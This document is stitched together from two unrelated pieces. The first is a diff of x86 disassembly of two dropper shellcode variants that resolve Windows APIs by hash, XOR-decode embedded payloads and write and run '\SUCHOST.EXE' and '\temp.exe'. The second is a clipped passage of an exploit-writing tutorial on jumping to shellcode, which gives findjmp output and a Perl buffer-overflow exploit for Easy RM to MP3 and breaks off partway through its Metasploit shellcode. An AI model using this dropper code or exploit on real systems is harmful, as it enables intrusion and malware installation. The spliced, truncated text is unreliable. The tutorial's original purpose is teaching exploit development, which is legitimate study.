> C7470C8FF21861 | `mov dword [edi+0xc],0x6118f28f`|   
> | C7470C8FF21861 | `mov dword [edi+0xc],0x6118f28f`  
> C747109332E494 | `mov dword [edi+0x10],0x94e43293`|   
> | C747109332E494 | `mov dword [edi+0x10],0x94e43293`  
> C74714A932E494 | `mov dword [edi+0x14],0x94e432a9`|   
> | C74714A932E494 | `mov dword [edi+0x14],0x94e432a9`  
> C7471843BEACDB | `mov dword [edi+0x18],0xdbacbe43`|   
> | C7471843BEACDB | `mov dword [edi+0x18],0xdbacbe43`  
> C7471CB2360F13 | `mov dword [edi+0x1c],0x130f36b2`|   
> | C7471CB2360F13 | `mov dword [edi+0x1c],0x130f36b2`  
> C74720C48D1F74 | `mov dword [edi+0x20],0x741f8dc4`|   
> | C74720C48D1F74 | `mov dword [edi+0x20],0x741f8dc4`  
> C74724512FA201 | `mov dword [edi+0x24],0x1a22f51`|   
> | C74724512FA201 | `mov dword [edi+0x24],0x1a22f51`  
> C7472857660DFF | `mov dword [edi+0x28],0xff0d6657`|   
> | C7472857660DFF | `mov dword [edi+0x28],0xff0d6657`  
> C7472C9B878BE5 | `mov dword [edi+0x2c],0xe58b879b`|   
> | C7472C9B878BE5 | `mov dword [edi+0x2c],0xe58b879b`  
> C74730EDAFFFB4 | `mov dword [edi+0x30],0xb4ffafed`|   
> | C74730EDAFFFB4 | `mov dword [edi+0x30],0xb4ffafed`  
> E9D6020000 | `jmp dword 0x346`| | | E9D8020000 | `jmp dword 0x348`  
> 64A130000000 | `mov eax,[fs:0x30]`|   
> | 64A130000000 | `mov eax,[fs:0x30]`  
> 8B400C | `mov eax,[eax+0xc]`|   
> | 8B400C | `mov eax,[eax+0xc]`  
> 8B701C | `mov esi,[eax+0x1c]`|   
> | 8B701C | `mov esi,[eax+0x1c]`  
> AD | `lodsd`|   
> | AD | `lodsd`  
> 8B6808 | `mov ebp,[eax+0x8]`|   
> | 8B6808 | `mov ebp,[eax+0x8]`  
> 8BF7 | `mov esi,edi`|   
> | 8BF7 | `mov esi,edi`  
> 6A0D | `push byte +0xd`|   
> | 6A0D | `push byte +0xd`  
> 59 | `pop ecx`|   
> | 59 | `pop ecx`  
> E877020000 | `call dword 0x301`| | | E879020000 | `call dword 0x303`  
> E2F9 | `loop 0x85`|   
> | E2F9 | `loop 0x85`  
> 8BEE | `mov ebp,esi`|   
> | 8BEE | `mov ebp,esi`  
> 8B4530 | `mov eax,[ebp+0x30]`|   
> | 8B4530 | `mov eax,[ebp+0x30]`  
> 894550 | `mov [ebp+0x50],eax`|   
> | 894550 | `mov [ebp+0x50],eax`  
> 81EC00040000 | `sub esp,0x400`|   
> | 81EC00040000 | `sub esp,0x400`  
> 8BF4 | `mov esi,esp`|   
> | 8BF4 | `mov esi,esp`  
> 83C604 | `add esi,byte +0x4`|   
> | 83C604 | `add esi,byte +0x4`  
> FF552C | `call dword near [ebp+0x2c]`|   
> | FF552C | `call dword near [ebp+0x2c]`  
> 8BD0 | `mov edx,eax`|   
> | 8BD0 | `mov edx,eax`  
> 33C0 | `xor eax,eax`|   
> | 33C0 | `xor eax,eax`  
> 42 | `inc edx`|   
> | 42 | `inc edx`  
> 803A22 | `cmp byte [edx],0x22`|   
> | 803A22 | `cmp byte [edx],0x22`  
> 75FA | `jnz 0xa6`|   
> | 75FA | `jnz 0xa6`  
> 40 | `inc eax`|   
> | 40 | `inc eax`  
> 83F802 | `cmp eax,byte +0x2`|   
> | 83F802 | `cmp eax,byte +0x2`  
> 75F4 | `jnz 0xa6`|   
> | 75F4 | `jnz 0xa6`  
> 42 | `inc edx`|   
> | 42 | `inc edx`  
> 33C0 | `xor eax,eax`|   
> | 33C0 | `xor eax,eax`  
> 40 | `inc eax`|   
> | 40 | `inc eax`  
> 803C0222 | `cmp byte [edx+eax],0x22`|   
> | 803C0222 | `cmp byte [edx+eax],0x22`  
> 75F9 | `jnz 0xb5`|   
> | 75F9 | `jnz 0xb5`  
> C6040200 | `mov byte [edx+eax],0x0`|   
> | C6040200 | `mov byte [edx+eax],0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6880000000 | `push 0x80`|   
> | 6880000000 | `push 0x80`  
> 6A03 | `push byte +0x3`|   
> | 6A03 | `push byte +0x3`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A03 | `push byte +0x3`|   
> | 6A03 | `push byte +0x3`  
> 6800000080 | `push 0x80000000`|   
> | 6800000080 | `push 0x80000000`  
> 52 | `push edx`|   
> | 52 | `push edx`  
> FF5510 | `call dword near [ebp+0x10]`|   
> | FF5510 | `call dword near [ebp+0x10]`  
> 83F800 | `cmp eax,byte +0x0`|   
> | 83F800 | `cmp eax,byte +0x0`  
> 0F8E19020000 | `jng dword 0x2f8`| | | 0F8E1B020000 | `jng dword 0x2fa`  
> 894530 | `mov [ebp+0x30],eax`|   
> | 894530 | `mov [ebp+0x30],eax`  
> 8BFE | `mov edi,esi`|   
> | 8BFE | `mov edi,esi`  
> 57 | `push edi`|   
> | 57 | `push edi`  
> 6800010000 | `push 0x100`|   
> | 6800010000 | `push 0x100`  
> FF5508 | `call dword near [ebp+0x8]`|   
> | FF5508 | `call dword near [ebp+0x8]`  
> 33C0 | `xor eax,eax`|   
> | 33C0 | `xor eax,eax`  
> 40 | `inc eax`|   
> | 40 | `inc eax`  
> 803C0700 | `cmp byte [edi+eax],0x0`|   
> | 803C0700 | `cmp byte [edi+eax],0x0`  
> 75F9 | `jnz 0xef`|   
> | 75F9 | `jnz 0xef`  
> 894560 | `mov [ebp+0x60],eax`|   
> | 894560 | `mov [ebp+0x60],eax`  
> C704075C535543 | `mov dword [edi+eax],0x4355535c`|   
> | C704075C535543 | `mov dword [edi+eax],0x4355535c`  
> C7440704484F5354 | `mov dword [edi+eax+0x4],0x54534f48`|   
> | C7440704484F5354 | `mov dword [edi+eax+0x4],0x54534f48`  
> C74407082E455845 | `mov dword [edi+eax+0x8],0x4558452e`|   
> | C74407082E455845 | `mov dword [edi+eax+0x8],0x4558452e`  
> C644070C00 | `mov byte [edi+eax+0xc],0x0`|   
> | C644070C00 | `mov byte [edi+eax+0xc],0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A02 | `push byte +0x2`|   
> | 6A02 | `push byte +0x2`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6800000040 | `push 0x40000000`|   
> | 6800000040 | `push 0x40000000`  
> 57 | `push edi`|   
> | 57 | `push edi`  
> FF5510 | `call dword near [ebp+0x10]`|   
> | FF5510 | `call dword near [ebp+0x10]`  
> 83F800 | `cmp eax,byte +0x0`|   
> | 83F800 | `cmp eax,byte +0x0`  
> 0F8EC7010000 | `jng dword 0x2f8`| | | 0F8EC9010000 | `jng dword 0x2fa`  
> 894534 | `mov [ebp+0x34],eax`|   
> | 894534 | `mov [ebp+0x34],eax`  
> C7454000000000 | `mov dword [ebp+0x40],0x0`|   
> | C7454000000000 | `mov dword [ebp+0x40],0x0`  
> 81EE00050000 | `sub esi,0x500`|   
> | 81EE00050000 | `sub esi,0x500`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6840250000 | `push 0x2540`| | | 6800250000 | `push 0x2500`  
> 8B4530 | `mov eax,[ebp+0x30]`|   
> | 8B4530 | `mov eax,[ebp+0x30]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF5518 | `call dword near [ebp+0x18]`|   
> | FF5518 | `call dword near [ebp+0x18]`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 8D4540 | `lea eax,[ebp+0x40]`|   
> | 8D4540 | `lea eax,[ebp+0x40]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> 6A08 | `push byte +0x8`| | | 6A30 | `push byte +0x30`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> FF7530 | `push dword [ebp+0x30]`|   
> | FF7530 | `push dword [ebp+0x30]`  
> FF551C | `call dword near [ebp+0x1c]`|   
> | FF551C | `call dword near [ebp+0x1c]`  
> 8B06 | `mov eax,[esi]`| | | 89B580000000 | `mov [ebp+0x80],esi`  
>  
> |   
> | → | 8B4628 | `mov eax,[esi+0x28]`  
> 894558 | `mov [ebp+0x58],eax`|   
> | 894558 | `mov [ebp+0x58],eax`  
> 8B4604 | `mov eax,[esi+0x4]`| | | 8B462C | `mov eax,[esi+0x2c]`  
> 894554 | `mov [ebp+0x54],eax`|   
> | 894554 | `mov [ebp+0x54],eax`  
> 0500500000 | `add eax,0x5000`|   
> | 0500500000 | `add eax,0x5000`  
> 0500B00000 | `add eax,0xb000`|   
> | 0500B00000 | `add eax,0xb000`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> 8B4530 | `mov eax,[ebp+0x30]`|   
> | 8B4530 | `mov eax,[ebp+0x30]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF5518 | `call dword near [ebp+0x18]`|   
> | FF5518 | `call dword near [ebp+0x18]`  
> C7454000000000 | `mov dword [ebp+0x40],0x0`|   
> | C7454000000000 | `mov dword [ebp+0x40],0x0`  
> C7454400000000 | `mov dword [ebp+0x44],0x0`|   
> | C7454400000000 | `mov dword [ebp+0x44],0x0`  
> 33DB | `xor ebx,ebx`|   
> | 33DB | `xor ebx,ebx`  
> 8B5D58 | `mov ebx,[ebp+0x58]`|   
> | 8B5D58 | `mov ebx,[ebp+0x58]`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 8D4540 | `lea eax,[ebp+0x40]`|   
> | 8D4540 | `lea eax,[ebp+0x40]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> 6800040000 | `push 0x400`|   
> | 6800040000 | `push 0x400`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> FF7530 | `push dword [ebp+0x30]`|   
> | FF7530 | `push dword [ebp+0x30]`  
> FF551C | `call dword near [ebp+0x1c]`|   
> | FF551C | `call dword near [ebp+0x1c]`  
> 33C9 | `xor ecx,ecx`|   
> | 33C9 | `xor ecx,ecx`  
> B900040000 | `mov ecx,0x400`|   
> | B900040000 | `mov ecx,0x400`  
> 80740EFF97 | `xor byte [esi+ecx-0x1],0x97`|   
> | 80740EFF97 | `xor byte [esi+ecx-0x1],0x97`  
> E2F9 | `loop 0x1ad`| | | E2F9 | `loop 0x1b4`  
> 8BC3 | `mov eax,ebx`|   
> | 8BC3 | `mov eax,ebx`  
> 2D00040000 | `sub eax,0x400`|   
> | 2D00040000 | `sub eax,0x400`  
> 83F800 | `cmp eax,byte +0x0`|   
> | 83F800 | `cmp eax,byte +0x0`  
> 7F03 | `jg 0x1c3`| | | 7F03 | `jg 0x1ca`  
> 895D40 | `mov [ebp+0x40],ebx`|   
> | 895D40 | `mov [ebp+0x40],ebx`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 8D4544 | `lea eax,[ebp+0x44]`|   
> | 8D4544 | `lea eax,[ebp+0x44]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF7540 | `push dword [ebp+0x40]`|   
> | FF7540 | `push dword [ebp+0x40]`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> FF7534 | `push dword [ebp+0x34]`|   
> | FF7534 | `push dword [ebp+0x34]`  
> FF5520 | `call dword near [ebp+0x20]`|   
> | FF5520 | `call dword near [ebp+0x20]`  
> 81EB00040000 | `sub ebx,0x400`|   
> | 81EB00040000 | `sub ebx,0x400`  
> 83FB00 | `cmp ebx,byte +0x0`|   
> | 83FB00 | `cmp ebx,byte +0x0`  
> 7FB6 | `jg 0x194`| | | 7FB6 | `jg 0x19b`  
> FF7534 | `push dword [ebp+0x34]`|   
> | FF7534 | `push dword [ebp+0x34]`  
> FF5528 | `call dword near [ebp+0x28]`|   
> | FF5528 | `call dword near [ebp+0x28]`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 57 | `push edi`|   
> | 57 | `push edi`  
> FF5524 | `call dword near [ebp+0x24]`|   
> | FF5524 | `call dword near [ebp+0x24]`  
> 8B4560 | `mov eax,[ebp+0x60]`|   
> | 8B4560 | `mov eax,[ebp+0x60]`  
> C704075C74656D | `mov dword [edi+eax],0x6d65745c`|   
> | C704075C74656D | `mov dword [edi+eax],0x6d65745c`  
> C7440704702E6578 | `mov dword [edi+eax+0x4],0x78652e70`|   
> | C7440704702E6578 | `mov dword [edi+eax+0x4],0x78652e70`  
> C744070865000000 | `mov dword [edi+eax+0x8],0x65`|   
> | C744070865000000 | `mov dword [edi+eax+0x8],0x65`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A02 | `push byte +0x2`|   
> | 6A02 | `push byte +0x2`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6800000040 | `push 0x40000000`|   
> | 6800000040 | `push 0x40000000`  
> 57 | `push edi`|   
> | 57 | `push edi`  
> FF5510 | `call dword near [ebp+0x10]`|   
> | FF5510 | `call dword near [ebp+0x10]`  
> 83F800 | `cmp eax,byte +0x0`|   
> | 83F800 | `cmp eax,byte +0x0`  
> 0F8ED8000000 | `jng dword 0x2f8`| | | 0F8ED3000000 | `jng dword 0x2fa`  
> 894534 | `mov [ebp+0x34],eax`|   
> | 894534 | `mov [ebp+0x34],eax`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6800500000 | `push 0x5000`|   
> | 6800500000 | `push 0x5000`  
> 8B4530 | `mov eax,[ebp+0x30]`|   
> | 8B4530 | `mov eax,[ebp+0x30]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF5518 | `call dword near [ebp+0x18]`|   
> | FF5518 | `call dword near [ebp+0x18]`  
> C7454000000000 | `mov dword [ebp+0x40],0x0`|   
> | C7454000000000 | `mov dword [ebp+0x40],0x0`  
> C7454400000000 | `mov dword [ebp+0x44],0x0`|   
> | C7454400000000 | `mov dword [ebp+0x44],0x0`  
> 33DB | `xor ebx,ebx`|   
> | 33DB | `xor ebx,ebx`  
> 8B5D54 | `mov ebx,[ebp+0x54]`|   
> | 8B5D54 | `mov ebx,[ebp+0x54]`  
> 81C300B00000 | `add ebx,0xb000`|   
> | 81C300B00000 | `add ebx,0xb000`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 8D4540 | `lea eax,[ebp+0x40]`|   
> | 8D4540 | `lea eax,[ebp+0x40]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> 6800040000 | `push 0x400`|   
> | 6800040000 | `push 0x400`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> FF7530 | `push dword [ebp+0x30]`|   
> | FF7530 | `push dword [ebp+0x30]`  
> FF551C | `call dword near [ebp+0x1c]`|   
> | FF551C | `call dword near [ebp+0x1c]`  
> 33C9 | `xor ecx,ecx`|   
> | 33C9 | `xor ecx,ecx`  
> B900040000 | `mov ecx,0x400`|   
> | B900040000 | `mov ecx,0x400`  
> 80740EFFA0 | `xor byte [esi+ecx-0x1],0xa0`|   
> | 80740EFFA0 | `xor byte [esi+ecx-0x1],0xa0`  
> E2F9 | `loop 0x265`| | | E2F9 | `loop 0x26c`  
> 8BC3 | `mov eax,ebx`|   
> | 8BC3 | `mov eax,ebx`  
> 2D00040000 | `sub eax,0x400`|   
> | 2D00040000 | `sub eax,0x400`  
> 83F800 | `cmp eax,byte +0x0`|   
> | 83F800 | `cmp eax,byte +0x0`  
> 7F03 | `jg 0x27b`| | | 7F03 | `jg 0x282`  
> 895D40 | `mov [ebp+0x40],ebx`|   
> | 895D40 | `mov [ebp+0x40],ebx`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 8D4544 | `lea eax,[ebp+0x44]`|   
> | 8D4544 | `lea eax,[ebp+0x44]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF7540 | `push dword [ebp+0x40]`|   
> | FF7540 | `push dword [ebp+0x40]`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> FF7534 | `push dword [ebp+0x34]`|   
> | FF7534 | `push dword [ebp+0x34]`  
> FF5520 | `call dword near [ebp+0x20]`|   
> | FF5520 | `call dword near [ebp+0x20]`  
> 81EB00040000 | `sub ebx,0x400`|   
> | 81EB00040000 | `sub ebx,0x400`  
> 83FB00 | `cmp ebx,byte +0x0`|   
> | 83FB00 | `cmp ebx,byte +0x0`  
> 7FB6 | `jg 0x24c`| | | 7FB6 | `jg 0x253`  
>  
> |   
> | → | 6A00 | `push byte +0x0`  
>  
> |   
> | → | 6A00 | `push byte +0x0`  
>  
> |   
> | → | 6800250000 | `push 0x2500`  
>  
> |   
> | → | 8B4530 | `mov eax,[ebp+0x30]`  
>  
> |   
> | → | 50 | `push eax`  
>  
> |   
> | → | FF5518 | `call dword near [ebp+0x18]`  
>  
> |   
> | → | 6A00 | `push byte +0x0`  
>  
> |   
> | → | 8D4540 | `lea eax,[ebp+0x40]`  
>  
> |   
> | → | 50 | `push eax`  
>  
> |   
> | → | 6A30 | `push byte +0x30`  
>  
> |   
> | → | 56 | `push esi`  
>  
> |   
> | → | FF7530 | `push dword [ebp+0x30]`  
>  
> |   
> | → | FF551C | `call dword near [ebp+0x1c]`  
>  
> |   
> | → | 89B580000000 | `mov [ebp+0x80],esi`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 6800900000 | `push 0x9000`|   
> | 6800900000 | `push 0x9000`  
> 8B4534 | `mov eax,[ebp+0x34]`|   
> | 8B4534 | `mov eax,[ebp+0x34]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF5518 | `call dword near [ebp+0x18]`|   
> | FF5518 | `call dword near [ebp+0x18]`  
> FF552C | `call dword near [ebp+0x2c]`| | | 8B8580000000 | `mov eax,[ebp+0x80]`  
> 33C9 | `xor ecx,ecx`| ← |   
> |   
>  
> 33D2 | `xor edx,edx`| ← |   
> |   
>  
> 803C0822 | `cmp byte [eax+ecx],0x22`| ← |   
> |   
>  
> 7501 | `jnz 0x2b4`| ← |   
> |   
>  
> 42 | `inc edx`| ← |   
> |   
>  
> 83FA03 | `cmp edx,byte +0x3`| ← |   
> |   
>  
> 740B | `jz 0x2c4`| ← |   
> |   
>  
> 81F904010000 | `cmp ecx,0x104`| ← |   
> |   
>  
> 7437 | `jz 0x2f8`| ← |   
> |   
>  
> 41 | `inc ecx`| ← |   
> |   
>  
> EBE9 | `jmp short 0x2ad`| ← |   
> |   
>  
> 03C1 | `add eax,ecx`| ← |   
> |   
>  
> 40 | `inc eax`| ← |   
> |   
>  
> 33C9 | `xor ecx,ecx`| ← |   
> |   
>  
> 803C0822 | `cmp byte [eax+ecx],0x22`| ← |   
> |   
>  
> 7403 | `jz 0x2d2`| ← |   
> |   
>  
> 41 | `inc ecx`| ← |   
> |   
>  
> EBF7 | `jmp short 0x2c9`| ← |   
> |   
>  
> C6040800 | `mov byte [eax+ecx],0x0`| ← |   
> |   
>  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 8D4D44 | `lea ecx,[ebp+0x44]`|   
> | 8D4D44 | `lea ecx,[ebp+0x44]`  
> 51 | `push ecx`|   
> | 51 | `push ecx`  
> FF7540 | `push dword [ebp+0x40]`|   
> | FF7540 | `push dword [ebp+0x40]`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF7534 | `push dword [ebp+0x34]`|   
> | FF7534 | `push dword [ebp+0x34]`  
> FF5520 | `call dword near [ebp+0x20]`|   
> | FF5520 | `call dword near [ebp+0x20]`  
> FF7534 | `push dword [ebp+0x34]`|   
> | FF7534 | `push dword [ebp+0x34]`  
> FF5528 | `call dword near [ebp+0x28]`|   
> | FF5528 | `call dword near [ebp+0x28]`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 57 | `push edi`|   
> | 57 | `push edi`  
> FF5524 | `call dword near [ebp+0x24]`|   
> | FF5524 | `call dword near [ebp+0x24]`  
> FF7530 | `push dword [ebp+0x30]`|   
> | FF7530 | `push dword [ebp+0x30]`  
> FF5528 | `call dword near [ebp+0x28]`|   
> | FF5528 | `call dword near [ebp+0x28]`  
> FF5504 | `call dword near [ebp+0x4]`|   
> | FF5504 | `call dword near [ebp+0x4]`  
> 6A00 | `push byte +0x0`|   
> | 6A00 | `push byte +0x0`  
> 50 | `push eax`|   
> | 50 | `push eax`  
> FF550C | `call dword near [ebp+0xc]`|   
> | FF550C | `call dword near [ebp+0xc]`  
> 51 | `push ecx`|   
> | 51 | `push ecx`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> 8B753C | `mov esi,[ebp+0x3c]`|   
> | 8B753C | `mov esi,[ebp+0x3c]`  
> 8B742E78 | `mov esi,[esi+ebp+0x78]`|   
> | 8B742E78 | `mov esi,[esi+ebp+0x78]`  
> 03F5 | `add esi,ebp`|   
> | 03F5 | `add esi,ebp`  
> 56 | `push esi`|   
> | 56 | `push esi`  
> 8B7620 | `mov esi,[esi+0x20]`|   
> | 8B7620 | `mov esi,[esi+0x20]`  
> 03F5 | `add esi,ebp`|   
> | 03F5 | `add esi,ebp`  
> 33C9 | `xor ecx,ecx`|   
> | 33C9 | `xor ecx,ecx`  
> 49 | `dec ecx`|   
> | 49 | `dec ecx`  
> 41 | `inc ecx`|   
> | 41 | `inc ecx`  
> AD | `lodsd`|   
> | AD | `lodsd`  
> 03C5 | `add eax,ebp`|   
> | 03C5 | `add eax,ebp`  
> 33DB | `xor ebx,ebx`|   
> | 33DB | `xor ebx,ebx`  
> 0FBE10 | `movsx edx,byte [eax]`|   
> | 0FBE10 | `movsx edx,byte [eax]`  
> 3AD6 | `cmp dl,dh`|   
> | 3AD6 | `cmp dl,dh`  
> 7408 | `jz 0x32a`| | | 7408 | `jz 0x32c`  
> C1CB07 | `ror ebx,0x7`|   
> | C1CB07 | `ror ebx,0x7`  
> 03DA | `add ebx,edx`|   
> | 03DA | `add ebx,edx`  
> 40 | `inc eax`|   
> | 40 | `inc eax`  
> EBF1 | `jmp short 0x31b`| | | EBF1 | `jmp short 0x31d`  
> 3B1F | `cmp ebx,[edi]`|   
> | 3B1F | `cmp ebx,[edi]`  
> 75E7 | `jnz 0x315`| | | 75E7 | `jnz 0x317`  
> 5E | `pop esi`|   
> | 5E | `pop esi`  
> 8B5E24 | `mov ebx,[esi+0x24]`|   
> | 8B5E24 | `mov ebx,[esi+0x24]`  
> 03DD | `add ebx,ebp`|   
> | 03DD | `add ebx,ebp`  
> 668B0C4B | `mov cx,[ebx+ecx*2]`|   
> | 668B0C4B | `mov cx,[ebx+ecx*2]`  
> 8B5E1C | `mov ebx,[esi+0x1c]`|   
> | 8B5E1C | `mov ebx,[esi+0x1c]`  
> 03DD | `add ebx,ebp`|   
> | 03DD | `add ebx,ebp`  
> 8B048B | `mov eax,[ebx+ecx*4]`|   
> | 8B048B | `mov eax,[ebx+ecx*4]`  
> 03C5 | `add eax,ebp`|   
> | 03C5 | `add eax,ebp`  
> AB | `stosd`|   
> | AB | `stosd`  
> 5E | `pop esi`|   
> | 5E | `pop esi`  
> 59 | `pop ecx`|   
> | 59 | `pop ecx`  
> C3 | `ret`|   
> | C3 | `ret`  
> E825FDFFFF | `call dword 0x70`| | | E823FDFFFF | `call dword 0x70`  
> 61 | `popad`|   
> | 61 | `popad`  
> 6B | `db 0x6B`|   
> | 6B | `db 0x6B`  
> 61 | `popad`|   
> | 61 | `popad`  
> 6B | `db 0x6B`|   
> | 6B | `db 0x6B`  
  

# Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode | Peter Van Eeckhoutte´s Blog
**Created:**| _12/28/2009 10:01:14 PM_  
---|---  
**Updated:**| _12/28/2009 10:01:32 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  

### Where do you want to jmp today ?

In one of my previous posts \(part 1 of writing stack based buffer overflow
exploits\), I have explained the basisc about discovering a vulnerability and
using that information to build a working exploit. In the example I have used
in that post, we have seen that ESP pointed almost directly at the begin of
our buffer \(we only had to prepend 4 bytes to the shellcode to make ESP point
directly at the shellcode\), and we could use a “jmp esp” statement to get the
shellcode to run.

_**Note : This tutorial heavily builds on part 1 of the tutorial series, so
please take the time to fully read and understand part 1 before reading part
2.**_

The fact that we could use “jmp esp” was an almost perfect scenario. It’s not
that ‘easy’ every time. Today I’ll talk about some other ways to execute/jump
to shellcode, and finally about what your options are if you are faced with
small buffer sizes.

There are multiple methods of forcing the execution of shellcode.

  * **jump \(or call\)** a register that points to the shellcode. With this technique, you basically use a register that contains the address where the shellcode resides and put that address in EIP. You try to find the opcode of a “jump” or “call” to that register in one of the dll’s that is loaded when the application runs. When crafting your payload, instead of overwriting EIP with an address in memory, you need to overwrite EIP with the address of the “jump to the register”. Of course, this only works if one of the available registers contains an address that points to the shellcode. This is how we managed to get our exploit to work in part 1, so I’m not going to discuss this technique in this post anymore.
  * **pop return** : if the value on the top of the stack does not point to an address within the attacker’s buffer, but the buffer begins a number of bytes below the top, you can try to make the application to perform a series of POP’s and then a RET so these bytes would be popped off the stack \(and ESP points closer to the beginning of the shellcode at each pop\) until you reach the beginning of the real buffer. Then a RET will place the current value of the stack at the ESP address in EIP. So a pop ret is usefull when ESP+x contains the address of our shellcode buffer. \(When you d esp, you should see the buffer address at the ESP+offset location, probably in reverse order because of little endian on Intel x86\)
  * **push return** : this method is only slightly different than the “call register” technique. If you cannot find a <jump register> or <call register> opcode anywhere, you could simply put the address on the stack and then do a ret. So you basically try to find a push <register>, followed by a ret. Find the opcode for this sequence, find an address that performs this sequence, and overwrite EIP with this address.
  * **jmp \[reg + offset\]** : If there is a register that points to the buffer containing the shellcode, but it does not point at the beginning of the shellcode, you can also try to find an instruction in one of the OS or application dll’s, which will add the required bytes to the register and then jumps to the register. I’ll refer to this method as jmp \[reg\]+\[offset\]
  * **blind return** : in my previous post I have explained that ESP points to the current stack position \(by definition\). A RET instruction will ‘pop’ the last value \(4bytes\) from the stack and will put that address in ESP. So if you overwrite EIP with the address that will perform a RET instruction, you will load the value stored at ESP into the ESI.
  * If you are faced with the fact that the available space in the buffer \(after the EIP overwrite\) is limited, but you have plenty of space before overwriting EIP, then you could use** jump code** in the smaller buffer to jump to the main shellcode in the first part of the buffer.
  * **_SEH _**: Every application has a default exception handler which is provided for by the OS. So even if the application itself does not use exception handling, you can try to overwrite the SEH handler with your own address and make it jump to your shellcode. Using SEH can make an exploit more reliable on various windows platforms, but it requires some more explanation before you can start abusing the SEH to write exploits. The idea behind this is that if you build an exploit that does not work on a given OS, then the payload might just crash the application \(and trigger an exception\). So if you can combine a “regular” exploit with a seh based exploit, then you have build a more reliable exploit. Anyways, the next part of the exploit writing tutorial series \(part 3\) will deal with SEH. Just remember that a typical stack based overflow, where you overwrite EIP, could potentionally be subject to a SEH based exploit technique as well, giving you more stability, a larger buffer size \(and overwriting EIP would trigger SEH… so it’s a win win\)

There may be many more methods to get an exploit to work and to work reliably,
but if you master the ones listed here, and if you use your common sense, you
can find a way around most issues when trying to make an exploit jump to your
shellcode. Even if a technique seems to be working, but the shellcode doesn’t
want to run, you can still play with shellcode encoders, move shellcode a
little bit further and put some NOP’s before the shellcode… these are all
things that may help making your exploit work.

Of course, it is perfectly possible that a vulnerability only leads to a
crash, and can never be exploited.

Let’s have a look at the practical implementation of some of the techniques
listed above.

### call \[reg\]

If a register is loaded with an address that directly points at the shellcode,
then you can do a call \[reg\] to jump directly to the shellcode. In other
words, if ESP directly points at the shellcode \(so the first byte of ESP is
the first byte of your shellcode\), then you can overwrite EIP with the
address of “call esp”, and the shellcode will be executed. This works with all
registers and is quite popular because kernel32.dll contains a lot of call
\[reg\] addresses.

Quick example : assuming that ESP points to the shellcode : First, look for an
address that contains the ‘call esp’ opcode. We’ll use findjmp :

[code]

    findjmp.exe kernel32.dll esp
    
    Findjmp, Eeye, I2S-LaB
    Findjmp2, Hat-Squad
    Scanning kernel32.dll for code useable with the esp register
    0x7C836A08      call esp
    0x7C874413      jmp esp
    Finished Scanning kernel32.dll for code useable with the esp register
    Found 2 usable addresses
    
[/code]

Next, write the exploit and overwrite EIP with 0×7C836A08.

From the Easy RM to MP3 example in the first part of this tutorial series, we
know that we can point ESP at the beginning of our shellcode by adding 4
characters between the place where EIP is overwritten and ESP. A typical
exploit would then look like this :

[code]

    my $file= "test1.m3u";
    my $junk= "A" x 26094;
    
    my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp
    
    my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
    
    my $shellcode = "\x90" x 25;   #start shellcode with some NOPS
    
    # windows/exec - 303 bytes
    # http://www.metasploit.com
    # Encoder: x86/alpha_upper
    # EXITFUNC=seh, CMD=calc
    
    $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
